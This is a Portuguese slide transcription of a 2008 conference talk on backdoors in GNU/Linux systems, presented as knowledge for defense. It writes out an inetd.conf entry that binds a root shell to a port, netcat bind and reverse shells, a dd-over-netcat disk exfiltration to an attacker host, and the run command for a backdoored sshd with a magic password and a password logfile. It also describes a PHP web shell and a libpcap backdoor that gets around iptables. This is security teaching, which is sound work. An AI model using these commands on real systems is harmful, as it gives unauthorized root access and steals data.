SIGES 2008 Backdoors em Sistemas GNU/Linux:
Transcrição
SIGES 2008 Backdoors em Sistemas GNU/Linux:
SIGES 2008 SIGES 2008 Backdoors em Sistemas GNU/Linux: Conhecendo Para Se Proteger. Jansen Sena Santarém, PA Novembro, 2008 http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008) Sobre o palestrante ● Formação – Mestrado pelo IC na Unicamp/SP Segurança de redes ● Administração de Sistemas Unix ● – – ● Atividades atuais – – – ● LPI Certified Professional (LPIC1 / LPIC2) ITIL Foundations Certified Atech Tecnologias Críticas Revista PC&CIA Consultor em TI http://www.jsena.info http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008) Anatomia geral de ataque Specific attack tasks Data Gathering Targed? Non-targed? Exploitation Elevate Privilegies Methodology? Metastasis? Black Hat? Script Kiddie? Insiders? Install Backdoors Cover Tracks http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008) Explorando o inetd ● O que é inetd? – – – ● Internet Super Server Presente na maioria dos sistemas Unix Gerencia recebimento de conexões para serviços Como explorar? – – – Implementação simples e rápida Não requer de componentes externos Criar uma nova entrada de serviço apontando para um interpretador de comandos (e.g. sh) http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008) Explorando o inetd ● Criando a backdoor na vítima... – Inserir entrada em /etc/inetd.conf daytime stream tcp nowait root /bin/sh sh i Nome do serviço cuja porta está especificada em /etc/services – Usuário dono do processo... determina o privilégio! O que deve ser executado ??? Reiniciar o inetd na vítima # /etc/init.d/inetutilsinetd restart – Explorando backdoor a partir do sistema atacante $ netcat <endereco IP vitima> daytime http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008) Explorando o inetd Acesso direto de super-usuário sem necessidade de senha !!! Atacante scadufax (192.168.1.100) Vítima smeagol (192.168.1.101) http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008) phpRemoteShell ● Página Web em PHP que recebe comandos e os submete para execução no servidor – ● Fácil instalação – ● Saída dos comandos é impressa no browser cópia do arquivo PHP para pasta visível pelo servidor Web Dificuldade: maioria dos servidores Apache não executam com privilégios de root http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008) phpRemoteShell http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008) Netcat Clonando o disco rígido da vítima... Vítima (10.1.1.1) Copia “bit a bit” a partição /dev/hda1 e repassa como entrada para o netcat #2 Atacante #1 (10.1.1.2) $ netcat l p 5000 > hda1.img Transfere pela rede dados ● Direciona saída para o arquivo hda1.img # dd if=/dev/hda1 | netcat 10.1.1.2 5000 http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008) Netcat ● Shell de superusuário sem senha! Acesso direto de super-usuário sem necessidade de senha !!! Atacante Vítima scadufax (192.168.1.100) smeagol (192.168.1.101) #1 #2 $ netcat 192.168.1.101 50001 # netcat l p 50001 | sh Submete “string” contendo o comando a ser executado (e.g. mkdir /etc/ataque) “string” é repassada ao sh e interpretada como comando! http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008) Netcat ● Shell de superusuário sem senha! Acesso direto de super-usuário sem necessidade de senha !!! Atacante scadufax (192.168.1.100) Vítima smeagol (192.168.1.101) http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008) Netcat ● Shell de superusuário sem senha! (cont.) – – Atacante não tem, nesse caso, o retorno dos comandos enviados ao sistema atacado Saída do “sh” pode ser redirecionada para o sistema do atacante... ● Atacante com duas ações – Uma para enviar os comandos para o sistema da vítima... – ... e outra para receber o resultado dos comandos executados no sistema da vítima http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008) Netcat Acesso direto de super-usuário sem necessidade de senha !!! Atacante scadufax (192.168.1.100) Vítima Submete “string” contendo o comando a ser executado (e.g. mkdir /etc/ataque) $ netcat 192.168.1.101 50001 #2 smeagol (192.168.1.101) Saída do comando é encaminhada como entrada ao netcat conectado ao sistema do atacante... # netcat l p 50001 | sh | netcat scadufax 50000 “string” é repassada ao sh e interpretada como comando! #1 $ netcat l p 50000 http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008) Netcat http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008) OpenSSH (backdoored) ● OpenSSH (backdoored version) – – Utilizado para acesso remoto seguro Sensação de segurança... ● Comunicação entre cliente e servidor é protegida por recursos criptográficos – ● Chaves são trocadas no primeiro acesso Comprometimento pode não estar no trânsito dos dados pela rede!!! – É possível manipular informações não protegidas nas pontas do túnel sob proteção criptográfica http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008) OpenSSH (backdoored) Atacante Protected traffic from sniffers Check for “magic” password OpenSSH Server (Backdoored) Cliente autêntico Password logfile Magic Password File http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008) Linux Authentication System OpenSSH (backdoored) ● Dois parâmetros devem ser utilizados... – – Arquivo de log para registrar passwords utilizadas Arquivo de configuração contendo o “magic password” e a versão do servidor... ● Sem parâmetros, funciona como um server normal MD5 correspondente ao “magic password” (e.g. “nsn”) http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008) OpenSSH (backdoored) ● Executando o servidor... # ./sshd p 2222 n /tmp/.cfg s /tmp/.passlist http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008) Silentdoor ● ● ● Connectionless backdoor Permite execução de comandos no sistema comprometido sem necessidade de senhas Capaz de subverter filtragem do netfilter/iptables – Sysadmins confiam em regras do iptables ● ● ● Estão acima de qualquer suspeita (???) Explora “sensação de segurança” Implementado como prova de conceito – Utiliza o acesso provido pela libpcap http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008) Silentdoor ● Arquitetura geral Applications Upper layers DROP ACCEPT ... iptables Atacante libpcap Lower layers Special silentdoor package to 53 port SILENTDOOR http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008) Silentdoor ● Executando o daemon... # ./silence& Silentedoor daemon process http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008) Silentdoor ● Bloqueando o tráfego com o iptables... http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008) Silentdoor ● Executando o ataque... http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008) Silentdoor ● Um pouco mais sobre o silentdoor... – Não provê acesso a shell... ● – ● ● ...mas permite a execução de quaisquer comandos Consegue manterse bem “escondido” Dificuldade: dependência da libnet e libpcap Alternativa: Safebreaker – Existem outros backdoors que executam comandos “embutidos” em pacotes ICMP !!! http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008) Finalmente... ● ● ● Ampla diversidade Sofisticação de soluções Conhecer é a melhor estratégia para protegerse – – ● Ambiente de testes! Pensar como atacante Evite software proprietário! – Backdoor ??? http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008) http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008) http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008) http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008) http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008) Mais que 1000 palavras... http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008) Mais que 1000 palavras... http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008) Mais que 1000 palavras... http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008) Mais que 1000 palavras... http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008) Mais que 1000 palavras... http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008) Mais que 1000 palavras... http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008) Mais que 1000 palavras... http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008) Erro de erro??? :-( http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008) O importante é dar o primeiro passo... http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008) ... compartilhar conhecimento... http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008) ... e logo você entenderá o poder de uma... COMUNIDADE!!! http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008) Perguntas e dúvidas? “Sonho que se sonha só, é só um sonho que se sonha só, mas sonho que se sonha junto é realidade.” Raul Seixas http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008) MUITO OBRIGADO!!! [email protected] Que a Força esteja com vocês! http://www.jsena.info - Prof. M.Sc. Jansen Carlo Sena – Copyleft (2008)